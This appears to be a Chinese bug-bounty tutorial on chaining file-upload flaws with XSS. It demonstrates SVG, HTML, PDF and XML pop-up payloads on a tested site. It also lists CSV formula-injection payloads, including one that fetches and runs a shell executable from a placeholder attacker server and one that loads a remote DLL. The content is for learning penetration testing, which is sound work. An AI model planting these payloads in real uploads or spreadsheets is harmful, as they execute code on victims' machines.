尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

浅谈src挖掘中—文件上传和XSS漏洞的组合拳,网络安全零基础入门到精通实战教程!

浅谈src挖掘中—文件上传和XSS漏洞的组合拳,网络安全零基础入门到精通实战教程!
📅 发布时间:2026/6/30 3:11:01

0x1 前言

哈喽,师傅们好!

这次打算给师弟们分享的是XSS之Flash弹窗钓鱼和文件上传getshell各种姿势的内容,然后先是给小白师傅们简单介绍下XSS漏洞和文件上传漏洞。然后后面给师傅们简单演示了XSS之Flash弹窗钓鱼,然后后面很详细的介绍了文件上传和XSS漏洞的组合拳的好几种方式,后面也是通过对一个站点的测试,给师傅们演示了一波。后面给师傅们整理了下pdf木马制作的过程以及最后面分享下我一次在测文件上传最后也是getshell了。

0x2 漏洞简介

文件上传原理

这里利用form表单标签和类型为file的Input标签来完成上传,要将表单数据编码格式置为multipart/form-data类型,这个编码类型会对文件内容在上传时进行处理,以便服务端处理程序解析文件类型与内容,完成上传操作。

<form method="POST" enctype="multipart/form-data"> <input type="file" name="file" value="请选择文件"><br /> <input type="submit"> </form>

0x3 浅谈上传XSS的各种类型姿势

允许上传HTML或SVG

允许上传html或者svg都可以能导致xss,也能导致任意URL跳转,甚至还能导致SSRF(很难利用),因为核心还是js代码可控;其中URL重定向漏洞可以参考之前我在先知写的文章:https://xz.aliyun.com/t/15069

html造成XSS就不多说了,懂得都懂;
主要说说svg文件如何造成xss。

检查思路:

1、创建一个恶意的svg文件,输入如下内容:

<?xml version="1.0" encoding="UTF-8"?> alert('XSS Attack!');

2、上传到文件中,并访问
可以看到已经成功弹窗出来了XSS漏洞

拓展:如果目标存在导出功能,如给svg导出为pdf这种功能,那么可能存在SSRF
可尝试使用其他协议更直观的查看,如file://

允许上传PDF文件

可能存在PDF XSS和任意URL跳转,但是由于属于浏览器层面的漏洞,所以厂商大概率不认可。

可以直接使用工具生成:https://www.xunjiepdf.com/editor

也可以按照网上的操作,用迅捷PDF编辑器去操作,效果都一样

因为pdf一般是后端的组件,有的开发可能配置成
wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf,那就可直接利用file协议进行利用

如果网站本身存在预览JS的地方,可以试试通过CVE-2024-4367来实现PDF XSS 获取Cookie、账户接管等。

允许上传CSV文件

如果允许上传CSV文件,且上传的CSV文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行payload的CSV文件,当其他用户下载该CSV文件时,可能会导致命令执行。

CSV文件的Payload如下:

DDE ("cmd";"/C calc";"!A0")A0 <span class="label label-primary">@SUM(1+9)*cmd</span>|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

检查思路:

  1. 上传恶意的CSV文件

  2. 下载恶意的CSV文件

  3. 观察下载后的CSV文件是否对等号=等特殊符号做了处理,payloads会否会成功执行,如果能则说明存在问题

0x4 组合拳实战测试

html、svg文件上传打XSS漏洞

师傅们可以看到找到下面的这个站点的这个功能存在文件上传,我先尝试一手html文件,html文件上传相对来讲常见点,并且一般要是能够上传html文件成功,基本上都可以打一个存储型XSS漏洞了

html恶意弹窗代码如下:

html恶意弹窗代码如下:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script>alert('618')</script> </head> <body> </body> </html>

上传成功,可以看到我这里上传的html文件的url路径,下面尝试访问下这个路径,看看里面的html恶意弹窗代码会不会执行

可以看到我这里换个浏览器访问,也是成功执行XSS弹窗了的

上传svg恶意文件也是一样的

svg恶意弹窗代码如下:

<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(618); </script> </svg>

也是一样换个浏览器访问,照样是可以成功执行弹窗的

制作pdf弹窗木马

pdf编辑器下载地址如下:

https://www.xunjiepdf.com/

直接打开然后新建空白页面,然后点击属性,然后点击右边的小点点

然后出现下面的选项框,点击新增js代码

写入app.alert(618);js代码,然后保存到本地

然后也是按照上面的一样步骤,也是可以打出一个存储型XSS漏洞

上传XML文件打XSS漏洞

上传xml文件必须CORS允许所有域 CORS 跨域资源请求(允许我们网站加载其他网页代码)

  • xml它需要上传2个文件

  • 首先上传第一个xml文件(url地址我们首先拿到)

  • 然后再上传第二个xml文件

xml1:https://xxx.com/File/1/xxxxxx.xml

<?xml version="1.0" encoding="iso-8859-1"?> alert(/618/);

然后上传xml2,代码中的href填写xml1的上传链接路径

<?xml version="1.0" encoding="iso-8859-1"?> <?xml-stylesheet type="text/xsl" href=""?>

CURL查看:curl 域名 -H “Origin: https://baidu.com” -I

0x5 总结

这篇文章对于仪式内容的介绍和分享就到这里了,然后后面要是有什么问题和需要交流的地方,师傅们可以跟我讨论下,里面的一些案例包括各种的打都写的蛮详细的,对小白师傅比较友好哈!
最后,希望这篇文章对师傅们有帮助哈!!!

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


相关新闻

  • Linux x86-64 DMA映射探秘(二)——SWIOTLB的bounce buffer机制
  • 【从零开始学架构】状态机不是增加架构复杂度,而是停止猜测
  • 【毕业设计】基于 SpringBoot 的文章发布与评论互动博客系统 个人博文编辑、分类与归档管理系统设计与实现(源码+文档+远程调试,全bao定制等)

最新新闻

  • 开源AI应用平台gstack部署与实战:从零搭建可视化工作流
  • CasaOS:十分钟搭建个人家庭云,旧电脑变全能服务器
  • 我从顺丰转行学AI产品经理·扒完招聘数据没敢盲目乐观
  • PHP集成PGP加密实战:从GnuPG环境配置到文件签名验签
  • 深度解析|VLA、强化学习、世界模型,到底是什么关系?
  • Kubernetes 工作负载与网络核心:从 Controller 到 Ingress 生产级实践

日新闻

  • 【计算机毕业设计案例】基于 Spring Boot+Vue 的电影售票系统设计与实现 前后端分离架构下影院在线购票管理平台(程序+文档+讲解+定制)
  • 到底 TMD 用哪个: npm, pnpm, Yarn, Bun, Deno? 傻瓜, 当然用 npm 啦
  • Google限制Meta使用Gemini模型 凸显AI授权竞争白热化

周新闻

  • Windows字体自定义终极方案:No!! MeiryoUI完全指南
  • Deepin Boot Maker:告别命令行,3分钟制作Linux启动盘的智能解决方案
  • Plain Craft Launcher 2:重新定义你的Minecraft游戏体验

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号